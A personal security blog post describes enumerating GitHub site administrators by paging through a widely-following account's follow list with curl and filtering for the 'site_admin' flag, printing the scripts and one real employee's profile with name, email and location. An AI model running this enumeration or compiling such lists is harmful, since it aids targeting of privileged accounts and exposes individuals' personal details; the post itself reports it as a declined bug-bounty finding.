Home The time I enumerated every GitHub admin
Post
Me, my desk, and I.
Paid Plan

The time I enumerated every GitHub admin

GitHub Hack

Finding the design flaw

While playing with the GitHub API querying different things, I had a light bulb go off. If you can query any GitHub user via API, and see their administrator access level, why would it not be feasible to piggyback the “Myspace Tom” KevinHock account that follows every GitHub user, get the list? At the end of the day, what’s the worst that could happen.

Exploit

We query the API for KevinHock’s account. Later we do this in a loop so that we can get around the only 100 records per page maximum. We’ll also need to add a sleep because if you query the API too quickly, you’ll hit a rate limit and be locked out temporarily.

for i in {1..10000};
  do
    curl "https://api.github.com/users/KevinHock/following?per_page=100&page=${i}" -s | tee -a github.ids; # KevinHock follows everyone
    sleep 300; # sleep 5 min between pages or rate limit kicks in soon
done;

We’ll do this about 10,000 times, with a self-limit set at 5-minute query intervals so that we don’t get locked out. We use tee to be able to see the data pulled back as we write it to a file. Following, we’ll line up the data with grep around login, then remove an extraneous character with cut before sending the data over to xargs which will run curl on that user, then send the logins through sed to fix the JSON formatting. Finally, we save it to github_admins.txt

cat github.ids | grep true -B 18 -A 1 | grep login | cut -d '"' -f 4 | xargs -I {LOGIN} curl "https://api.github.com/users/{LOGIN}" -s | sed -e 's/}/},/' > github_admins.txt

The output

cat github_admins.txt

Will show us (and a lot more):

[
{
  "login": "bruce",
  "id": 72,
  "node_id": "MDQ6VXNlcjcy",
  "avatar_url": "https://avatars.githubusercontent.com/u/72?v=4",
  "gravatar_id": "",
  "url": "https://api.github.com/users/bruce",
  "html_url": "https://github.com/bruce",
  "followers_url": "https://api.github.com/users/bruce/followers",
  "following_url": "https://api.github.com/users/bruce/following{/other_user},",
  "gists_url": "https://api.github.com/users/bruce/gists{/gist_id},",
  "starred_url": "https://api.github.com/users/bruce/starred{/owner},{/repo}",
  "subscriptions_url": "https://api.github.com/users/bruce/subscriptions",
  "organizations_url": "https://api.github.com/users/bruce/orgs",
  "repos_url": "https://api.github.com/users/bruce/repos",
  "events_url": "https://api.github.com/users/bruce/events{/privacy},",
  "received_events_url": "https://api.github.com/users/bruce/received_events",
  "type": "User",
  "site_admin": true,
  "name": "Bruce Williams",
  "company": "@github",
  "blog": "http://bruce.io",
  "location": "Portland, OR",
  "email": "bruce@github.com",
  "hireable": null,
  "bio": "Polyglot programmer, co-creator of Absinthe, the GraphQL toolkit for Elixir.",
  "twitter_username": null,
  "public_repos": 116,
  "public_gists": 86,
  "followers": 294,
  "following": 20,
  "created_at": "2008-01-28T07:16:45Z",
  "updated_at": "2021-02-04T17:12:54Z"
}
]

Conclusion

In the end, you should have a .json file with all the administrators on GitHub saved to it. I submitted this for a bug bounty, but it didn’t qualify because they already knew about the design flaw and considered it low-risk. Please don’t use this maliciously, it is for informational purposes only. View the full file: here.

Don’t try to take over their accounts!!!


If you enjoy my work, sponsor or hire me! I work hard keeping oxasploits running!
Bitcoin Address:
bc1qclqhff9dlvmmuqgu4907gh6gxy8wy8yqk596yp

Thank you so much and happy hacking!
This post is licensed under CC BY 4.0 by the author.